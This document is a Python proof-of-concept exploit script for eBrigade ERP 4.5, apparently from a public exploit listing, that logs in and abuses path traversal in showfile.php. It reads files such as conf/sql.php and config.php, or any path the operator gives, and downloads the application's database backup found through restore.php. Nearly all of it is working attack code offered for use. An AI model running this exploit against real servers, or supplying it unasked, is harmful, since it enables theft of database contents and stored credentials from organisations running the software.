eBrigade ERP 4.5 – Arbitrary File Download
#!/usr/bin/python import mechanize, sys, cookielib, requests import colorama, urllib, re, random, urllib2 import wget from colorama import Fore from tqdm import tqdm from pathlib import Path def bannerche(): print ''' @-------------------------------------------------------------@ | eBrigade ERP <= 4.5 - Database Backup Disclosure via AFD | | Vulnerability discovered by AkkuS | | My Blog - https://pentest.com.tr | @-------------------------------------------------------------@ ''' bannerche() if (len(sys.argv) != 2): print "[*] Usage: poc.py <RHOST>" exit(0) rhost = sys.argv[1] UserName = str(raw_input("Identifiant: ")) # Administrator/User Username Input Password = str(raw_input("Password: ")) # Administrator/User Password Input print(Fore.BLUE + "+ [*] Getting login permission...") br = mechanize.Browser() # set cookies br.set_handle_robots(False) cj = cookielib.LWPCookieJar() br.set_cookiejar(cj) br.open("http://"+rhost+"/") # User Access Login assert br.viewing_html() br.select_form(nr=0) br.form['id'] = UserName br.form['pwd'] = Password br.submit() ## # Login Access and Version Control ## LoginControl = requests.get("http://"+rhost+"/index_d.php", cookies=cj) HTMLdata = LoginControl.text finder = re.findall(r'version<b> 4.5', HTMLdata) try: version = finder[0].replace('"','').replace('<b>','').strip() except IndexError: pass try: if version == "version 4.5": print (Fore.GREEN + "+ [*] Login successful") except NameError: pass print (Fore.RED + "+ [*] User information is incorrect or version incompatible") ## # Introducing Cookie and CSRF token information ## print (Fore.BLUE + "+ [*] Select Exploit Type:") print (Fore.YELLOW +"- [*] 1 - Arbitrary File Download/Read (Ex: /conf/sql.php)") print ("- [*] 2 - Database Backup File Download") choice = int(raw_input("- [*] Enter a number (1 or 2) : ")) if choice == 1: print (Fore.BLUE + "+ [*] Select the file you want to Download/Read:") print (Fore.YELLOW + "- [*] 1 - /conf/sql.php") print ("- [*] 2 - /config.php") print ("- [*] 3 - /.htaccess.template") print ("- [*] 4 - Manual exploitation") AFDc = int(raw_input("- [*] Enter a number : ")) if AFDc == 1: AFD1 = requests.get("http://"+rhost+"/showfile.php?section=0&pompier=1&file=../../../conf/sql.php", cookies=cj) print AFD1.text elif AFDc == 2: AFD2 = requests.get("http://"+rhost+"/showfile.php?section=0&pompier=1&file=../../../config.php", cookies=cj) print AFD2.text elif AFDc == 3: AFD3 = requests.get("http://"+rhost+"/showfile.php?section=0&pompier=1&file=../../../.htaccess.template", cookies=cj) print AFD3.text elif AFDc == 4: print (Fore.RED +"- [!] You must have knowledge of files and directories") AFDmc = str(raw_input(Fore.BLUE + "+ [*] Enter file name (Ex: /lib/PHPMailer/class.smtp.php) : ")) AFD4 = requests.get("http://"+rhost+"/showfile.php?section=0&pompier=1&file=../../.."+AFDmc+"", cookies=cj) if AFD4.status_code == 200: try: mdata = AFD4.text Le = re.findall(r'javascript:history.back', mdata) LeClean = Le[0].replace('"','').strip() if LeClean == "javascript:history.back": print (Fore.RED + "+ [X] The directory and file name you entered could not be found or incorrect") except IndexError: pass print AFD4.text else: print (Fore.RED + "+ [X] Unable to access file") sys.exit() else: print("Invalid input!") elif choice == 2: backupfiles = requests.get("http://"+rhost+"/restore.php?file=", cookies=cj) RecentesData = backupfiles.text finder = re.findall(r'a href="https://www.exploit-db.com/exploits/46109/.*"', RecentesData) names = finder[0].replace('"','').replace('javascript:deletefile','').replace('a href=javascript:restore','').replace('save','').replace("'",'').replace('(','').replace(')','').replace(',','').strip() print ("+ [*] Backup File Name : " + names) DB = requests.get("http://"+rhost+"/showfile.php?section=0&pompier=1&file=../../../user-data/save/"+names+"", cookies=cj) with open(names, "wb") as handle: for data in tqdm(DB.iter_content()): handle.write(data) p = str(Path.cwd()) print(Fore.GREEN + "+ [*] Backup successfully downloaded. Directory path : " + p + "/" + names) else: print("Invalid input!") # end |